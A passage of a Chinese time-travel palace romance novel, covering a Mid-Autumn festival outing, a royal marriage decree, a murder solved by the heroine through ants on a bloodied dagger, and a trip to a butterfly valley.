看衣上云不再生气他继续说“今儿中秋佳节,既然碰到了,哥哥之前帮了你那么多忙,今儿你便陪我过中秋如何”。 衣上云心里其实有些为难的,因为明天就要入宫了,今夜她还有很多事,但是如果过了今夜,以后恐怕出宫便没那么容易了,所谓入宫容易出宫难,一入宫门深似海。 她确实应该好好报答易三少,于是点点头微笑说“好吧好吧,那你保证以后不再瞎说了”。 易三少见她点头答应立马露出一脸的欣喜,直接过去拉起她的手便朝前方人群里走去。 衣上云的手被他突然这样牵着顿时脸红心跳,却怎么努力也挣脱不开他强有力的大手,而他自是感觉到衣上云的反抗却并没有松开,而是她越反抗他抓的越紧。 西秦皇宫内,轩辕皇族们亦是团聚一起,刚结束一场声势浩大气派十足的祭月祈福仪式。 此时皇宫的主子们正坐在摆满鲜花和各类时鲜的宴桌上一边品尝着精致的宫饼一边看戏,戏台上正在上演着中秋佳节经久不衰的神话戏剧嫦娥奔月。 璟帝的一边坐着皇后,另一边坐着太后。轩辕翰作为西秦唯一尊贵的秦王,亦是坐在宗室重中之重的位置上不动声色一如往常冰冷地品茗。 他虽最不喜与这些后宫女人们同坐,却在这样的日子里也不得不为之。 璟帝突然开口“皇弟,今日中秋佳节,朕曾许诺你,今日要给你一个惊喜”璟帝一边说一边示意身旁的公公宣旨,轩辕翰见势忙起身下跪准备领旨。 这时便有一公公上前打开手中的圣旨道:“奉天承运,皇帝诏曰:秦王护国有功,骁勇善战,治国有方且年过弱冠。兹有东宁国永乐公主梅汐媛才貌双全、娴熟大方、品貌出众;为两国联谊,亦是为成佳人之美。特将其赐予秦王为王妃,择吉日即刻完婚。钦此!”。 秦王虽早已心中有数却还是稍愣了片刻随即才匆匆叩拜领旨谢恩。 接着,在场所有众人均目光转向秦王一一道贺。 “皇弟,据传这个东宁永乐公主可是个倾国倾城的美人喔,对此皇弟可还满意?”璟帝一脸邪意的试探。 “臣弟谢皇兄关怀”嘴上说着,心中冷暖却只有自己最清楚。 这道赐婚圣旨怕是这个中秋晚宴皇宫里最大的喜事了。 夜已深,皇宫的中秋夜宴席也终于到了散场的时候。 而有个人,今晚却过得格外满足,这个人就是...... 第十六章:红色胎记,前世今生的契约 赐婚秦王的圣旨怕是这个中秋晚宴皇宫里最大的喜事了。 夜已深,皇宫的中秋夜宴席也终于到了散场的时候。 而有个人,今晚却过得格外满足。 此时,逛遍整条大街小巷的衣上云和易君浩正相对而立,站在放天灯祈福的男男女女队伍边上,郎才女貌像极了一对璧人。 俩人也手中各执一支笔在把自己的心愿写在同一个天灯上,易君浩偷偷绕过天灯含情脉脉地看了衣上云一会,她并没有发现。 最后签上了各自的名讳便共同手执被点燃的天灯待里面的空气燃尽,天灯便腾空而起。 天空中的造型各异的天灯星星点点,漫天飞舞,甚是浪漫壮观。此情此景,两人一同抬头痴痴地望着。 许久才慢慢地退到旁边一家小酒馆门口的摊位坐下来。易君浩开了口:“丫头,你为何总以面纱遮面呢?” 景色太美,衣上云这才回过神来伸出右手摸了摸脸上的毒瘤说道“因为我天生脸上有块红色胎记,为遮丑故而为之”。 “哦,原来如此,丫头你有没有听说过一个传说”衣上云微微抬头以示不解,三少见她起兴便缓缓地说。 “相传当一个人死的时候,所爱之人留下的一滴泪若是滴在她的身上就会化作一块红色的胎记,以此为信物在来生里寻找前世的另一半与她再续前缘”。 三少看她听得入迷便继续说“所以说你这块红色胎记并不丑陋,而是上辈子爱你的人,为了下辈子能找到你而留下的一封前世今生的契约。” “丫头,你说上辈子为你滴下那滴泪的人,不会就是哥哥我吧”易君浩突然说出了这句话,衣上云立马一脸绯红慌乱竟无言以对。 而易君浩亦是没有退让反而一把过去拉起她的一只手置于自己的左手上紧紧握住,衣上云急急想要挣脱开来却怎么也办不到。 “别担心,我只是帮你看看手相”易君浩的眼睛抬起看了衣上云一眼又匆匆重新回到她手上来忽然惊道。 “丫头,你这手相......把你另一只手也伸出来给哥哥瞧瞧,快点”易君浩一脸正经地命令道。 虽然衣上云很不情愿,但是还是有些好奇的伸了手过去。易君浩又更加仔细地看了看她的另一只手沉默了半天才低头说了话。 “两手掌地纹线短中途变得细小且在同一位置终止消失还并无其它线来补缺;天纹线倒是极长且有分叉往下弯曲,愿舍弃一切为情牺牲,竟也是个痴情的女子”。 “要你管”衣上云一边试着抽走自己的手一边撅了下小嘴怒道。 “丫头,看你这手相,你小心短命哦”易君浩忽然抬起头一脸严肃和忧心地说道,衣上云瞪了他一看看他放松了戒备便顺势抽回了自己的双手置于身后藏住。 而这时秦王轩辕翰正坐在回府的豪华气派的安车内,从车窗里看到窗外的衣上云和易君浩的这一切亲密举动。 这次他不像往常只是一瞥,他望着车窗外看了许久一直到俩人消失在自己视线里才回过头来轻声说了句:“难道是魏明轩?”。 这声音很轻,轻的连他自己都差点没察觉,而随即那冰冷的眸光变得更冷了。 此刻他的心情确实很不好,但天性使他依旧忍着,仿佛这个世上是没有什么他不能忍受的一样。 不知不觉,夜已经很深了,衣上云终于告别了易君浩,拖着异常疲惫的身体回到了衣府明月阁,安静地坐在窗前看着窗外的这轮皓月。 沉思了许久,突然伸出双手端详了半天,同时回忆着刚才易君浩所说的一切,她也没看出个究竟,起身倚窗而立,中秋团圆夜,身处异乡的她一片相思忽然想起一首诗低吟起来。 “明月几时有?把酒问青天。不知天上宫阙,今夕是何年。我欲乘风归去,又恐琼楼玉宇,高处不胜寒。起舞弄清影,何似在人间?转朱阁,低绮户,照无眠。不应有恨,何事长向别时圆?人有悲欢离合,月有阴晴圆缺,此事古难全。但愿人长久,千里共婵娟。” 然后目光高抬望向明月温柔地道了句:魏明轩,中秋快乐 ...... 中秋佳节就这样过去了。 想想这一天,过的最郁闷的可能就是秦王轩辕翰了。被璟帝赐了一个和亲公主做王妃,在婚姻大事上身为皇族儿女的他即便早就知道自己的命运,他没有选择的权利,至少现在还没有,但冥冥之中内心深处或许已经对某个人有了些许期许,只是爱一人而不自知罢了。 只是自小一向冰凉冷酷的伪装长期扮惯了,可能自己就算对某人真的心里有什么不同的感觉,也早已经不会表达或者根本忘记怎么表达了吧。 更何况,他可能自己也不曾意识又或意识到了却不敢也不想承认自己心里隐隐约约地是有那个人的。 而在得知了魏明轩的存在后,无疑更加打击了他原本就模糊的感觉让他更不敢对她存有那份亵渎之心。 他其实很孤独也很可怜。 第二天天一亮,衣上云便收拾好行装。所谓的行装其实也就是一个包裹包着两件旧衣裳而已,这就准备着要搬去宫里御药房报到了。 天家惩罚,庶民岂敢违抗。 她依依不舍地站在闺房里看着房间里面的每一个物件,现在她已经分不清这份不舍到底来自原主还是她自己本身。最后还是心下一狠,便踱着大步下楼穿过客厅头也不回地走出了明月阁,背着身往后伸出手将明月阁的门轻轻掩上。 一抬头才看见燕儿不知道什么时候已经站在了林月轩的院子里。衣上云顿了一会儿看着燕儿红红的眼睛,意识到这个小丫头应该已经伤心地哭了很久了,她缓缓朝她走了过去。 “小姐,你还回来吗?燕儿舍不得你走”燕儿的眼泪又一次瞬间落下,说话的声音也是哽咽。 衣上云看着燕儿的样子心更难受不忍,一把将她深深的拥入怀中却并没有说话,主仆两人就这样沉默着拥抱在一起...... “燕儿,陈燕,两个名字那么像”她心里喃喃道,她把现在的燕儿早已经当做了21世纪她的特助陈燕。所以这份感情并不单纯。 衣上云还是开口说道:“燕儿,无论发生什么,都记着我说过的话,相信我”。 燕儿一脸天真的茫然听不懂,衣上云看了看她也没再多说什么,只朝着前院大厅进去。 母亲年氏,兰姨娘一席人都已经在厅堂等着她作别。虽说兰姨娘对她成见颇深,但而今她入了宫也是因为老爷所致,况且如今衣上云的情况明显早已经不会对他们母子三人造成任何威胁。 所谓一入宫门深似海,虽是去做一个小小的药女,怕是一个女子最好的几年都要在宫里荒废殆尽了,兰姨娘想想似乎也并没有那么讨厌她了。 衣上俊和衣上雪也不再对她一副横眉竖眼的样子。 年氏自是一脸的担忧,此去不知何时方能归来,此生这个女儿已然是因为退婚已无前途可言的。她本想她在府中自己身边衣食无忧安然地度过余生,而如今却......,想着想着,只得拉着衣上云的手泪眼婆娑着一脸忧心却不知该说些什么。 “母亲,女儿不孝,不能时刻侍奉您左右了,还望母亲一定要保重身体”。她只此一句,确是一室寂静。 就这样,一翻恋恋不舍的告别后,衣上云便踏上了前往御药房的路途。 药女的差事是御药房里最低等的活,进了御药房,在大药女的简单介绍与差事分工后大家都散开,开始各自忙各自的差事去了。 大药女安排衣上云和另一个叫做丁香的药女一起煎药呢。 “这个是风华宫玥公主的汤药,公主咳疾久已,你们都仔细点着,煎好后送去劝公主服下”大药女严厉地叮嘱了一声便转身出门,刚出门却露出了一脸窃喜之态随即便扬长而去。 原来她安的可并不是什么好心思...... 第十七章:蚂蚁破案 御药房当差的第一日,大药女安排衣上云和药女丁香:“这个是风华宫玥公主的汤药,公主咳疾久已,你们都仔细着点,煎好后即刻送去劝公主服下”。 大药女严厉地叮嘱了俩人一声便转身出门,刚出门去却露出了一脸窃喜之态随即便扬长而去。 原来她安的可并不是什么好心思. 衣上云和丁香很快便煎好药端着来到了风华宫殿门口,此刻正等着通报的小宫女来传。忽然听到里面一阵严厉的呵斥声响起。俩人互相对视了一眼,不知道发生了什么情况。 随后只见小宫女怯怯地走了出来道:“公主殿下说药太苦,坚决不肯服用,你们还是想想其它办法吧”。 就在她们正在说话的时候,有一个异常清瘦的侍卫急急跑进大殿去。 就在她们还在一脸狐疑之时,从大殿内走出一位也就十五六岁衣冠华丽气质高贵优雅的女子,此人正是璟帝最宠爱的女儿轩辕玥,人皆称其玥公主。 清瘦侍卫前面带路,公主疾步随后穿过回廊,只见二人急急朝着风华宫偏殿旁拱门后的花园进去。 不知发生了何事,宫女太监们都三五成群地凑做一团交头接耳议论着。见主子过来,都急急闪开一条道来。 衣上云这才看清楚,花坛边地上躺着一个小宫女,身旁一滩血污,身上竟还插着一把沾满血迹的匕首。 衣上云凑近看了看,匕首上面满是鲜血且蚂蚁爬满了匕首,现场十分吓人。 公主看到亦是十分震惊地呼道:“珍儿,是谁干的?”,随即她的眼睛扫向眼前周围众人。 此时,刚才去风华宫正殿通报的清瘦侍卫上前来,指着站在一旁的另一个胖乎乎的小太监说道“公主,珍儿肯定是他杀的,属下方才发现珍儿尸体的时候他就站在珍儿身旁行动十分诡异”。 胖乎乎的太监一听见这话急忙跑出来双膝跪地,猛磕起头来喊道:“公主,不是奴才做的,珍儿姑娘一直对小的很是照顾,小的怎么可能杀珍儿姑娘呢,小的是刚好经过,看到珍儿姑娘躺在地上,不知道发生何事,才过来看一下,谁知道竟是珍儿姑娘被人杀害了,奴才真的没做过。公主,你要替奴才做主啊”。 “你们都好大的胆子,竟敢在本公主的宫殿里放肆,是谁做的最好自己赶快出来承认,若是让本公主查到,定要他好看”轩辕玥年龄虽小,发起怒来倒是一点也不含糊,威严四射。 此时,报案的清瘦侍卫眼睛忽然扫了一眼旁边众人,低着头抬眼偷偷瞄了一眼轩辕玥。 此举刚好被衣上云看在了眼里。 衣上云在想的却是为什么蚂蚁会爬满匕首呢,再看看眼前这个侍卫,她忽然一惊,难道是...... “公主殿下,奴婢知道谁才是凶手”衣上云突然开了口。 立刻,轩辕玥和在场众人的目光不约而同寻着说话的方向投过去。 “你,那你说说看,要是说的不对,可要仔细你的脑袋了”轩辕玥一本正经严肃地警告道。 此时,丁香听闻这番警告后惊慌失措,轻轻拽了拽衣上云的衣袖,想让她不要招惹是非。 “奴婢斗胆,那若是奴婢说对了呢”衣上云不但没有听丁香的劝停下来,反而反问轩辕玥道。 “好大的胆子,竟敢跟本公主提条件。罢了,且看你本事,如若说对了,本公主便许你一个所求”轩辕玥亦是豪爽地答道。 衣上云这次颔首微笑着上前再次认真地检查了珍儿的尸体和匕首一番后,已经完全确定了她刚才的想法无误。 随即便说:“公主殿下,看这匕首插入深度的力度,凶手确是男的没错”。 “废话,现在被指证的本就是个男的,这还需要你这个奴才来告诉本公主吗”轩辕玥厉声呵斥道。 衣上云轻笑了一下继续道“公主,凶手是男的,但却并不是眼前这个被指证的小太监”。 “哦?那依你所见这真正的凶手到底是谁”轩辕玥一脸诧异地问。 此时衣上云看到报案的清瘦侍卫偷偷摸摸正在人群里悄悄后退去便急急出声道“真正的凶手便是报案之人”。 一边说着,衣上云的手指向正想开溜走的清瘦侍卫。 轩辕玥这才看到他想开溜,便立即下令“还不快给本公主将他拿下”,一旁的其他几名看热闹的侍卫三拳两脚就轻松地擒住了瘦弱侍卫。 清瘦侍卫被抓住死死压倒趴在地上,却还坚持辩解道“公主殿下请明察,奴才绝对不是凶手,是......是这个奴婢她血口喷人,诬陷奴才,奴才冤枉”。 清瘦侍卫手被死死擒着不能动弹便瞪眼衣上云大呵:“你有何证据证明人是我杀的?”。 衣上云却不慌不乱镇定地说“看你如此异于平常的消瘦,请问是不是患有下消之症?”。 “是又怎么样,这里谁都知道我患下消之症多年,所以大家对我亦是很多照料,我又怎么可能对他们有不轨之心呢”清瘦侍卫狠狠瞪着衣上云说。 衣上云轻笑了一声,颔首喃喃自语“这就都对了”。 接着只见她挺直那瘦小的身子说“身患下消之症的人,小便频且量多,便液混浊如脂膏,还经常口干,头晕,腰腿酸痛。观其舌可见质红且少津,把脉脉细数。请问我说的可都与你的疾病都一一对症”。 清瘦侍卫顿时觉得有些惊讶这个奴婢竟然懂医术,因为衣上云说的完全符合他的病症,一丝不差。大家也都一脸惊愕地看着他,轩辕玥却是一脸不知所云,看不懂她到底想说什么,又跟凶手有何关联。 看他不语,自是已然默认。衣上云又开口道“你还不承认你是凶手吗?”。 侍卫莫名其妙依旧狡辩“不是我做的,我为何要承认”。 “那这匕首上为何会聚集周围所有的蚂蚁你知道吗?”衣上云指着那把爬满蚂蚁的匕首问。 “我又不是蚂蚁,我怎么会知道”清瘦侍卫还在挑衅衣上云狡辩着。 “哼,因为蚂蚁喜欢甜味。而下消症最明显的症状我刚才故意没有说,就想看你要狡辩到何时,下消症病人有个最明显的症状那便是小便有甜味。而人的汗液和便液成分相似,只是所含成分多少有差而已”。 衣上云突然俯身下去道“想必你手握匕首行凶的时候是不是很紧张以至于汗液侵满匕首啊,要不要我们拿一把新的匕首来让在场所有的人握着来证明一下呢”她冷哼一声蔑视着清瘦侍卫说完这句话,接着在场所有人向他投去惊讶的眼光。 “公主饶命,公主饶命”清瘦侍卫听到这里,再也无言可辩只能拼命地磕头求饶。 “给本公主把他拉下去杖毙,珍儿好好安葬”玥公主气愤狠狠地说道,随后就示意所有人散去。 这才看向了衣上云道“你是新来的?以前本公主可没见过你”,轩辕玥一边说一边朝正殿走回去,衣上云和丁香紧随其后低头跟着。 “奴婢是今天才报到的新药女,方才公主答应过奴才,要是奴婢说对了会答应奴才一个请求的呢”,衣上云并没有忘记她的差事,丁香一直吓傻着,这会儿才醒过神来。 只见轩辕玥突然停下脚步来转过身看向衣上云。 这丫头...... 第十八章:良药,松子百合酥 “奴婢是今天才报到的御药房新药女,方才公主答应过奴婢,要是奴婢说对了会答应奴才一个请求”,衣上云并没有忘记她的差事,丁香一直吓傻着,这会儿才醒过神来。 只见轩辕玥突然停下脚步来转过身缓缓走回来到衣上云面前看着她“原来是新来的,难怪这么不懂规矩,这御药房办差真是越来越大胆了,竟敢让这些不懂规矩的奴才来伺候本公主”。 衣上云听此却道:“奴婢卑微,但还望公主明示奴婢哪里没有规矩了”。 轩辕玥长这么大集万千宠爱于一身,还从没有人敢如此质问她“你......你这奴才倒是一点也不含糊,说罢,你想请求本公主答应你什么?” 说完这句后轩辕玥又转过身去继续往大殿里走,心情却似乎很好。 “奴婢请求公主将御药房送过来的汤药全都欣然服下可好?”衣上云说着弯腰将手中放置着汤药碗的精雕木盘递上。 “放肆......你好大的胆子,竟敢命令本公主,你叫什么名字?”轩辕玥一个急转身过来厉声训斥道。 “奴婢御药房药女云儿,这么说公主是要食言咯?”衣上云一点都不害怕,刚才发生的一切她已经看到这个公主纯良并不蛮横骄纵的本性,否则又怎会在乎一个卑微的小宫女的性命。 “云儿,好...很好,本公主记住你了......”轩辕玥尖尖的下巴高高抬起讲着,却紧握着手中的拳头。 一会儿之后才慢慢松开,伸手一把端起衣上云手中那碗汤药,一口气猛将她喝下,脸上露出了极其苦涩的表情,随后将药碗重重地丢在盘中便径自朝着风华宫正殿走去。 衣上云和丁香二人急忙欠身行礼恭送轩辕玥。 丁香接二连三地被衣上云的言行举止惊吓着,不过此刻她更惊喜的是从此轩辕玥再也不会拒绝喝药了,便很是满意地跟着衣上云回到了御药房。 大药女见二人这么快便回来,急忙上前问:“玥公主可已将药服下了?”。 “公主已将汤药全部服下了”丁香高兴地回答,衣上云亦是轻轻地微笑。说完二人便走了进去继续忙她们的差事。 大药女此时露着一脸不可思议之态,因为公主从小怕汤药的苦味,之前她每次送药,每次都被训斥半天方才离开,她真的已经拿这个公主彻底没辙了。 今天见衣上云第一日当差,想必她肯定不知道这个状况,便差她去吃这个闭门羹。结果......这两个人到底怎么办到的? 她连忙进去屋里将丁香拉到一边细细询问后,道了一句“果真如此,看来这个丫头倒一点也不蠢笨”。 御药房第一日当值,衣上云就这样过去了。她倒觉得其实好像也并没有想象中那么艰难,主子也并没有那么难伺候,而且有一个丁香陪伴她坚信以后会越来越好的。 谁知第二日,丁香忽然哭着来找衣上云委屈地说:“云儿,玥公主又不喝药了,昨天才答应的,今天就反悔。她的病要是再不喝药,到时候皇上主子们怪罪下来,我们都得倒霉了”。 衣上云蹙眉听完,突然站起来拉起丁香的手说:“走,陪我做一样东西,送去风华宫”。 丁香一脸疑惑不知道她又想做出什么惊心动魄的事情来,整天跟着衣上云她觉得自己早晚有一天要出事儿,但她心里很清楚在这个御药房里也只有衣上云是真心对她好,拿她当朋友。 “公主殿下,昨天那两个小药女在殿外求见”小宫女对轩辕玥禀告道。 “不见,让她们回去,定是又要本公主服药的,这个丫头真是无礼之极,还真以为我会乖乖听她一个小药女的话”轩辕玥挑眉不屑地说道。 “殿下,她说要是见不到殿下便长跪在大殿门口直到公主答应见她为止”小宫女怯怯地说。 “混账,她这是在威胁本公主吗,那就让她跪着好了”小宫女见公主说什么都无动于衷,只得失望地准备起身准备退下去,而当小宫女刚转身走到大殿门口时,却从身后传来轩辕玥的声音。 “让她们进来吧,本公主倒是想看看她又要玩出什么新花样来”小宫女听了甚是欣喜,急急应了一声便出去通传。要知道轩辕玥不吃药,咳疾已日渐加重影响睡眠,再下去整个风华宫的奴才们也都要受到牵连的。 衣上云和丁香进了大殿行礼,刚被公主厉声训斥过的丁香此刻连头都不敢抬起来,生怕公主见她再次发怒。 “本公主说过不会服这个极苦之药的,你们就不要再浪费心思了”轩辕玥看都没看二人一眼便先开口说道。 “公主殿下,今天奴婢过来不是送药的,而是要献给殿下一道奴婢自创的点心。”衣上云说着便示意让小宫女拿给公主瞧瞧。 只见小宫女手捧一碟形似百合花状,颜色金灿灿,表面还点缀着星星点点的松子似的糕点走向轩辕玥,那糕点色香味俱全看起来极其诱人。 衣上云看到轩辕玥面露出一丝甚是眼馋的欣喜模样,便继续道:“殿下,此糕点奴婢给它起名唤松子百合酥,香酥可口且食之对皮肤尤为滋补,殿下不妨尝尝”。 小宫女听闻便低头将其高高举起恭敬地递到轩辕玥面前,轩辕玥伸手拾起一块优雅地食之一口反复咀嚼着。 许久后,露出一丝满意点头道“还不错”。 “既然公主喜欢,那公主可否愿意每天吃两块?”衣上云见此急急追问。 “嗯”轩辕玥轻轻答应了一声,明显她是愿意吃这个点心的。 她自是不知松子百合酥本就有滋阴润肺,镇静安神强身体格之效,对她咳疾大有益处。而且衣上云把轩辕玥所食之草药全都磨成细粉掺入其中,如此过个三五天,轩辕玥定能完全康复。 丁香和小宫女自是早已知晓这点心的奇妙所在,只是害怕这金贵的公主闻出草药的气味发现端倪,而如今看到公主一点都没有察觉,甚是感叹衣上云的手艺确实不凡,竟能如此完美的遮盖浓郁的药草味,对她更是佩服和感激了。 果然,掺了草药粉的松子百合酥吃了整整刚好五日,轩辕玥的咳疾便大好了。这时候轩辕玥才醒过神来“这个臭丫头,竟然敢设计诓骗我”。 随即便叫来了那天劝她吃点心的小宫女呵斥道,“还不快把事情的真相告诉本公主”。 小宫女自是不敢半点隐瞒地将事实和盘托出。 “去把那丫头给本公主带来”轩辕玥瞬间抬起下巴一脸不可思议的下令道。 衣上云被再次带到风华宫,禀道“公主乃千金之躯,若公主有任何闪失,第一个掉脑袋的便是这风华宫的奴才们。奴才虽命不值钱,但也是有父母生父母疼。公主不杀伯仁伯仁却因你而死,敢问公主可愿意如此?” 轩辕玥虽然骄纵但是却生性纯良,她想怼,却也无言以怼,这个丫头看起来瘦瘦小小,竟如此机智、聪慧、胆大。 从小到大,这满皇宫的人都对她百依百顺,毕恭毕敬,就怕触怒得罪她,而这个丫头却一点都不怕她,随即便说道:“你就不要触怒本公主,丢了你自己的性命吗?” 衣上云跪着低头回答道“人固有一死,不足为奇。况且......公主不会要奴婢的性命”。 “为何不会?”轩辕玥语气里有些轻蔑,更多的确是惊喜。 “因为公主生性善良,就连死掉一个卑微的宫女都要调查清楚不愿她枉死,所以奴婢知道公主不会无缘无故就轻易取了人的性命”衣上云言语字字铿锵,轩辕玥满心窃喜,不经意伸出一只玉手掩住因心中喜悦所致而发出的一声轻笑。 随即又迅速“哼”了一声整理道:“好大的胆子,尽敢妄议本公主。本公主今天倒还就真要好好发落发落你这个不知天高地厚的丫头,叫你知道什么叫天家威严不容挑衅”。 轩辕玥说着,急急在心中想着要怎么发落这个大胆的丫头才好,突然她想到了一个法子。轩辕玥说“本公主罚你侍候本公主明儿去一个地方”。 衣上云急问“公主要带奴婢去什么地方”。 “去了你自然就知道了。怎么,不敢去吗?”轩辕玥逗着衣上云说。 “回公主,奴婢是御药房的药女,不得随意离开御药房的”衣上云解释道。 “去,给御药房传话,就说本公主要衣上云亲自侍候几天”轩辕玥对着旁边的传话宫女说完,窃笑了一声。 刚才她还说这个奴婢胆大,这会便吓得想求饶了“饶你,可没这么容易,这可是你自己惹上本公主的”。 回御药房的路上衣上云一路猜想,轩辕玥到底想要带她去哪呢? ...... 第十九章:蝴蝶谷,神蝶惊现 轩辕玥刚刚还说衣上云胆大,这会便吓得想求饶了“饶你,可没这么容易,这可是你自己招惹上本公主的”。 回御药房的路上衣上云一路猜想,轩辕玥到底想要带她去哪里呢? 第二天衣上云一入御药房的门槛,大药女便横眉竖眼地朝她迎了上来道:“衣上云,从今天开始你便被暂借去风华宫玥公主宫里侍候吧,也不知道用的什么妖法,竟让那么尊贵骄傲的玥公主点名了要去伺候,你最好小心着点,小心树大招风风撼树,人为名高名丧人”。 大药女说完便气势汹汹地哼了一声扬长而去,衣上云愣愣地怔在原地。 “云儿,不要理她。平日里她在玥公主那里受了不少气,如今玥公主对你另眼相看,她眼红妒忌得要命。你赶快过去风华宫吧,一大早她们便来传话好像很着急的样子”丁香见大药女出去,这才向着衣上云走过来说道。 “嗯,谢谢你,丁香”衣上云握着丁香的手致了谢便匆匆朝着风华宫走去,只是她心里仍然在想,轩辕玥到底要她陪着去哪呢? 刚走到了风华宫门口,衣上云便看到平日里跟在轩辕玥一旁的两个小宫女都换上了一身便装,正拎着包袱从风华宫正殿里走出来。 身后随即现出一个亦是一袭便装但依旧显露着一身尊贵之气的女子,褪去了平日里的锦衣华服与公主皇冠,一身长裙和发饰却也尽显简单利落。 此人正是公主轩辕玥。她一出门就朝宫门口高大点的高档安车上去,同时用轻蔑的眼光对着衣上云说道:“还不赶快过来跟着,现在后悔可已经来不及了”。 衣上云这才颔首急急走过去跟着两个宫女一起上了后面的一辆普通安车,随即便都朝着宫门出宫方向而出。 “公主这是打算要出宫去?”衣上云这才有所警觉道,同座的两个小宫女对她微笑着颔首。 西秦皇宫坐落在西秦国偏北部,坐北朝南犹如神抵般庇护着整个西秦国子民。 经过一天一夜马不停蹄的赶路,她们竟然穿过了西秦国南北线来到了位于西秦最南的边境之地,这里有西秦国最有名的皇家贵族学府——西秦学院。 西秦学院所授之学均是灵空大陆各学科之顶级,涉及面甚广且富含神秘,世人皆以能求学西秦学院而为毕生之荣耀,但其对入院生审核却极为严格,就连当年的璟帝也未能录取。 而轩辕玥此次出宫要到达的地方,便正是这名震整个灵空的西秦学院。 此时已是出宫第二日,天刚微微亮的时候,衣上云一行人方才到达目的地。 一下马车,众人只见这西秦学院傍山而建,俨然一座山林胜地。上山进了头门,接着便是一雄伟的青石牌坊,后面是仪门,幽静无比,甚是庄严。一簇簇楼阁庭院便掩映在之内苍翠欲滴的参天古树之间。 西秦学院素以修身、齐家、治国、平天下为旨,为西秦国培养教习了众多杰出的皇室及贵族子弟文武全才,就譬如秦王轩辕翰。 很快,便看到一人群朝着他们走过来。领头的是一四十岁出头的儒雅之人,此人正是西秦学院院长陆贤。他一走到轩辕玥面前便急急行礼道“公主殿下大驾光临,老夫有失远迎,请公主殿下恕罪”其他一行人也都随之行礼跪拜。 “陆院长请起,本公主此行只是来学院随便看看,你不必过于紧张”轩辕玥似乎根本不在乎这个院长的请安。她随意地摆了摆手示意他们平身。 “谢公主,请先行院内休息”于是在陆贤的指引下轩辕玥一行人终于到了休息的院落。 她们真的很累,安车一路飞驰颠簸,到现在她们都还感觉天旋地转的。她们自是不知轩辕玥跟皇后是撒了谎才告了仅有的几天假偷溜出来,她虽是璟帝最宠爱的女儿,也不是能时刻想出宫就出宫的。 时间到了中午的时候,陆贤亲自过来请轩辕玥一行人到大厅用膳。 一进门便看到一个眉目清秀、温文尔雅的妙龄少女,一看到轩辕玥进门来便急忙参拜行礼道:“民女陆天娇参见公主殿下”。 “平身吧”轩辕玥却一点也不为之温柔贤淑所动,竟不屑地说道。 “咦,为何不见你那能耐的哥哥呢?陆天麟呢?”轩辕玥四下张望地看了看一边入席一边问道。 陆天娇连忙回答“回禀公主,民女的哥哥有事昨日外出,今日黄昏方能回来,请公主赎罪”。 “哼,本公主在宫里听说你那颇具能耐的哥哥退了婚啊,可真是出息地很”轩辕玥冷哼道。 “公主殿下有所不知,只因那女子久病昏迷、卧床不起,怕是八成醒不了了,故此哥哥才为之”陆天娇解释的说辞倒是一丝不紊,合情合理地样子。 陆贤见此尴尬的情景,立马转移话题说道:“这些膳食都是公主每次来学院甚是喜欢和称赞的,公主请赶快尝尝是否可还是原来的味道?” 衣上云这才猛地想起来,原来跟原主退婚的,正是眼前这个西秦学院院长陆贤的公子陆天麟。她此刻真是有些好奇想要早点目睹一下这位公子本尊到底是何方神圣。 只听陆贤说了句“公主,去后山蝴蝶谷陪驾的人我都已经按照往年惯例安排妥当,等午膳过后休息片刻公主便可前往。” “嗯,本公主知道了”。 西秦学院地处西秦国极南,与地处极北的京城完全不同。这里的气候温暖潮湿,四季如春。 午膳过后,衣上云便随同轩辕玥在陆贤安排的一众人带路下,朝着学院的后山走去。 一入山谷她才发觉此山谷不是一般的大,里面山中有山,竟在山谷最东处有数千米的高山群,甚至比她之前见到的百草谷更让她惊讶。而且山谷里地形也各种各样。 不同环境不同海拔高度形成了不同的的温*湿度环境和不同的植物群,也就相应形成了不同的蝴蝶种类。 谷中有很多洼陷的山路,一路走着时常能看到很多五颜六色的蝴蝶停在潮湿的地面上吸水,山谷里很多小溪边也有各种大小不一的蝴蝶成百上千地聚集在一起吸水却更好像是在嬉戏。 “看来这水一定是经过特别处理过的蝶类非常喜欢的淡咸水,如此才最能吸引它们前来吸食”衣上云喃喃。 要说这里是蝴蝶谷,更不如说她是万花谷,时鲜谷,绿植谷。 群花斗艳,百果芬芳。蝴蝶们在谷中各自寻觅着自己喜爱的食物,翩翩起舞,比翼双飞。 花为谁开,蝶为谁来,花引蝶吸蜜,蝶为花传粉,两厢情愿,备受其益,其乐融融。 轩辕玥已许久未出宫来,她此时自是一脸欢喜,双眉上扬着心情很好。 此时她正低头专注地看着一朵娇艳欲滴的花朵上面停留的一只五彩蝶,忽然看到旁边花茎上栖息着一堆幼虫瞬间感觉很是恶心,有点坏了她的好兴致。 她便随手捡起一根掉落在地的枯枝朝向它们想剥掉幼虫,衣上云见势立马过来伸出手拦住她说“公主手下留情,此幼虫乃是金凤蝶幼虫,它以茴香为食,又名茴香虫。把它取之以酒醉死,焙干研成粉末,会有很好的理气和止痛的药效”。 “这也是药?”轩辕玥撒了手惊奇地问,衣上云微笑着点头。 随后又继续说:“如果公主触碰了它,公主肯定会后悔”。 “那又为何?”轩辕玥不解又饶有兴致地问。 “因为茴香虫受到惊吓会放出臭气”衣上云小声地朝轩辕玥说,轩辕玥马上以手死死捏住那高挺好看的鼻子露出了甚是庆幸刚才没有触碰到它的惊愕表情,同时她也惊讶道衣上云懂得还真的不少。 衣上云见势微笑着,忽然抬头看向旁边密密的落叶林里,惊讶地看到一只振翅从天蓝到紫兰不断闪烁变化色泽如梦幻般的蝴蝶。 她悄悄朝着走近才看清楚:“竟是神蝶,这不是秘鲁国蝶吗?被誉为世界上最美的蝴蝶,双翅上嵌着的白色纹脉色带宛若它天然华贵且优美的装饰品,振翅婀娜多姿,展翅如同孔雀开屏还能发光变色光彩熠熠。这可是世界上数量极少,极其贵重的蝴蝶种类呢,一只听闻售价可是传闻有拍卖会拍过三十几万人民币的天价呢。”她心里惊着喃喃。 “秘鲁是什么?”不知何时,轩辕玥竟然就站在衣上云的旁边,她听到衣上云低声说出的这段话很好奇地问道。 “哦,是奴婢从画本上看到的一个地方,说那里盛产这种神蝶,还被尊誉为他们的国蝶呢”。 衣上云含糊其辞地掩饰过去。轩辕玥深感疑惑自己怎么从未听闻过,但也没有再继续问下去。 衣上云立刻分散轩辕玥的注意力指着一只正在飞舞的神蝶道“公主你看,那就是世间极为罕见珍贵的光明女神蝶,是不是很漂亮?”。 轩辕玥这才往她指向的方向看去“舞姿婀娜,变色流光溢彩,果真不凡”但是以前怎么从未在这谷中看到过呢?轩辕玥心里想着,许是新的品种也是极有可能的。 